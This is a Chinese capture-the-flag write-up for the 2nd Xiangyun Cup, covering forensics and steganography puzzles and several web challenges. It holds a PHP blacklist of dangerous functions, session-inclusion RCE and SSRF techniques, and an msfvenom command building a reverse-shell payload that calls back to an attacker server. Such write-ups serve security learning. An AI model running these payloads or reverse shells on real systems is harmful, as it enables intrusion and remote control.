第二届祥云杯

第二届祥云杯

MISC

层层取证

下载得到一个两点多G的压缩文件,全部解压缩文件后,得到两个文件。

第一个是虚拟磁盘文件。第二个是memdump.mem的一个文件。

用DiskGenius挂载,发现有个分区bitlocker加密。

image-20210904170240779

这里用到一个解密工具,Passware Kit Forensic

解密得到密码

image-20210904170331910

打开加密磁盘,发现一个流量包2.pcapng

流量分析后,发现有下载压缩包的动作。把UDP过滤出来,导出文件

image-20210904170639703

打开压缩包。需要密码。而且还有个提示

image-20210904170730055

开机密码??那应该要在那个men文件找了。可以在上面那个解密工具解,原理和volatility -f “xxxx” –profile=xxx hashdump是一样的

为了方便,我就直接在工具解密了。解出密码是xiaoming_handsome

打开doc文件,里面还要密码。。。

解法一:使用volatility分析一下内存文件。

1
volatility -f memdump.mem --profile=Win7SP1x64 pslist

看一些用了哪些进程,发现可以进程。用了便签

image-20210905221232545

顺便看一下cmd调用情况

volatility -f memdump.mem –profile=Win7SP1x64 cmdline

同样发现了便签image-20210905221532818

还发现了一个flag.txt

image-20210905221555481

回去看看这个flag.txt是什么

image-20210905222022052

volatility -f memdump.mem –profile=Win7SP1x64 memdump -p 2572 -D .

image-20210905204528857

image-20210905204533014

文档密码:xiaoming1314

image-20210908223323715

解法二:

根据flag.txt的提示,用仿真打开。那就创建虚拟机,等等一系列操作。开机,桌面就有个便签,便签内容就是小明1314

ChieftainsSecret

题目描述:Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain’s telephone number? Flag format: flag{11 digits}

开局一张图片

ChieftainsSecret

放进binwalk分析,并且分理出一个rar压缩包。解压之后得到两个文件。adc.csv和diagram.png

image-20210908224310749

adc.csv文件里有2162组数据

diagram.png

diagram

右边是STM32F103单片机,左边是TLE5501芯片。

查阅TLE5501资料:TLE5501 是一种基于 TMR 的 360° 角度传感器,可检测磁场的方向。这是通过测量正弦和正弦角度组件与隧道磁阻 (TMR) 元件实现的。这些原始信号(sin和cos)作为微分输出信号提供,可在微控制器内直接进一步处理。

diagram

结合电路图分析,PC0-3各自对应SIN_P、SIN_N、COS_P、COS_N引脚输出,通过计算每一组数据可以得到一个角度。并且题意说明需要十一位电话号码,猜测2162组角度模拟了老式轮盘电话机的拨号过程。

根据这四个值计算出⻆度,再由图⽚的电话直接转着对号

此处直接计算PC1-PCO,PC3-PC2

最后求⼀下arctan反三⻆函数

image-20210908232528203

然后根据算出来的角度画图。

image-20210908232437679

得到11个峰值,大约读数

210 210 280 230 160 260 190 90 140 160 210

image-20210908233445789

可以看到到2大约是90度。根据上面读到的11个数字,就可以得到77085962457

所以flag为flag{77085962457}

鸣雏恋

解压只有一个60+M的word文档,打开只有短短几行字?那肯定是隐藏了。

于是binwalk -e 分离出来了⼀个key.txt和⼀个压缩包

image-20210823235755070

很明显是零宽隐写。

在线解密image-20210823235858273

解出密码是Because I like naruto best

利用密码就可以打开压缩文件了。但是这题不太需要这个密码。因为打开这个love.zip,可以发现十几万张图片,其实就只有两张图片。那么自然而然就想到了一张图片代表的0一张图片代表的是1

写个脚本

1
2
3
4
5
6
7
8
9
10
11
import zipfile
filename='love.zip'
zipFile=zipfile.ZipFile(filename,'r')
a=""
for i in range(129488):
zipfileinfo = zipFile.getinfo(f'out/{str(i)}.png')
if zipfileinfo.file_size==262:
a+='0'
else:
a+='1'
print(a)

得到二进制字符串。转成字符串

image-20210824000431042

根据提示,将base64转成HEX,命名PNG就可以了

image-20210824000526091

WEB

安全检测

扫描目录发现admin目录403

image-20211102082618642

使用后台的URL检测检查一下,发现一个叫include123.php的文件image-20211102082707445

再用URL检测读取一下这个文件可以发现源码:

image-20211102082805128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$u=$_GET['u'];
$pattern =
"\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .=
"|file_put_content|file_get_content|fwrite|curl|system|eval|ass
ert";
$pattern
.="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|
proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern
.="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socke
t_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|acc
ess|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}
include($u);
show_source(__FILE__);
?>

简单测试一下,发现check2.php中如果URL中含有http就会放入file_get_contents否则不会放进file_get_contents,如下图:

image-20211102083100760

image-20211102083126850

直接构造目录穿越读取其他文件的源码:

image-20211102083158392

读到check2.php的源码如下,可以发现session可控。那么直接讲恶意代码写入SESSION,然后使用文件包含读取文件进行RCE。

image-20211102083320671

先将代码带入SESSION

image-20211102083338143

再通过http://127.0.0.1/admin/include123.php?u=/tmp/sess_6cff374336f8ebbc1fab7d2524189134进行包含

image-20211102083410111

星号用通配符?绕过

image-20211102083431247

读取flag:

image-20211102083500006

SECRETS_OF_ADMIN

下载附件打开databases.ts存在账号密码,直接拿去登录

image-20211102083611993

登录之后是一个通过内容生成PDF的逻辑,以往经验,通过link、img、iframe可以将内容带出来,或者实现SSRF

image-20211102083715037

看到index.ts文件,虽然对传入内容进行了过滤,但是这里可以直接使用数组进行绕过:

image-20211102083752274

但是生成的PDF用了UUID,我们无法得到文件名进行下载,但是在下面一个路由上可以写文件,可以将另外一个文件写入logs,同时他就卡死只能是127.0.0.1,直接说明我们需要通过PDF进行SSRF,执行这个路由将flag写入指定文件内:

image-20211102083929705

构造payload:

image-20211102083947148

下载flag文件:

image-20211102084008545

CRAWLER_Z

题目提供源码,在bucket处存在明显的SSRF

image-20211102084100578但是怎么绕过正则就成了问题。后面发现verify会将personalBucket写入Bucket,而personalBucket在profile中是可控的。

我们可以将profile提交合法的personalBucket,然后获取到token通过verify将personalBucket写入指定的token中,然后通过Bucket来爬取页面。

  • 先提交合法的personalBucket

image-20211102084359531

  • 通过verify来覆盖Bucket
1
2
3
http://eci-2ze44hd5fno8qj0427fv.cloudeci1.ichunqiu.com:8888/user/verify?
token=82813f39503f42eba99b711c27c5f809018a4f6d0fe40bb66a7b306ec
6791fa7
  • Bucket获取内容

image-20211102084451120

  • 通过302跳转,可以发现能够读取内容,但是flag无法读取。一读取flag靶机就会崩溃,应该是开了文件保护。image-20211102084602385

  • 后面留意到题目名称叫Crawler,那么肯定和这个类有关。追踪这个类发现他是二次封装的zombie库。google发现zombie存在代码注入,在加载js时候会存在任意代码执行。

image-20211102084802893

于是远程写一个代码

image-20211102084819056

再通过bucket爬取:

image-20211102084837252

读取flag:

image-20211102084847631

层层穿透

第一层是一个apache flink rce的day洞:

msfvenom -p java/meterpreter/reverse_tcp LHOST=vps LPORT=port -f jar > rce.jar

image-20211102084946745

内网拿fscan扫一下得到:

1
10.10.1.11:8080

穿透出来发现是给的附件的jar应用,发现lib下有c3p0库,用注释填充一下后打回显:

1
2
http
s://github.com/depycode/fastjson-c3p0

根目录有个flag,读取即可:
image-20211102085136584